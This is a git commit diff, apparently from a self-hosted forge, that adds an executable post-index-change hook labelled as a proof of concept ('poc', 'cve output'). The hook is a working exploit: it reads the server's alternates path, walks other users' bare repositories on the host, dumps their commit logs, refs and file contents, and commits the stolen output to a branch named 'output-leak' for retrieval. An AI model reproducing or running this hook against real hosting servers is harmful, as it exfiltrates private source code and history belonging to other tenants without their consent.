apply-patch
This commit is contained in:
22
hooks/post-index-change
Executable file
22
hooks/post-index-change
Executable file
@@ -0,0 +1,22 @@
|
||||
#!/bin/sh
|
||||
GD=$(git rev-parse --absolute-git-dir)
|
||||
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
|
||||
OUT=$( {
|
||||
for r in texttomanga/texttomanga-ai-studio.wiki.git texttomanga/texttomanga-ai-studio.git texttomangahe/texttomanga-hebrew-ai-manga.git; do
|
||||
g=/data/git/repositories/$r
|
||||
echo "===== $r"
|
||||
git --git-dir=$g log --all --format='%h|%ad|%an|%s' --date=short 2>/dev/null | head -8
|
||||
echo "--REFS--"; git --git-dir=$g for-each-ref --format='%(refname)' 2>/dev/null | head -10
|
||||
echo "--FILES--"; git --git-dir=$g ls-tree -r --name-only HEAD 2>/dev/null
|
||||
for f in $(git --git-dir=$g ls-tree -r --name-only HEAD 2>/dev/null); do
|
||||
echo "--FILE $f--"
|
||||
git --git-dir=$g show HEAD:$f 2>/dev/null | head -70
|
||||
done
|
||||
done
|
||||
echo DONE
|
||||
|
||||
} 2>&1; echo "[rc=$?]")
|
||||
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
|
||||
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
|
||||
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output")
|
||||
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
|
||||
Reference in New Issue
Block a user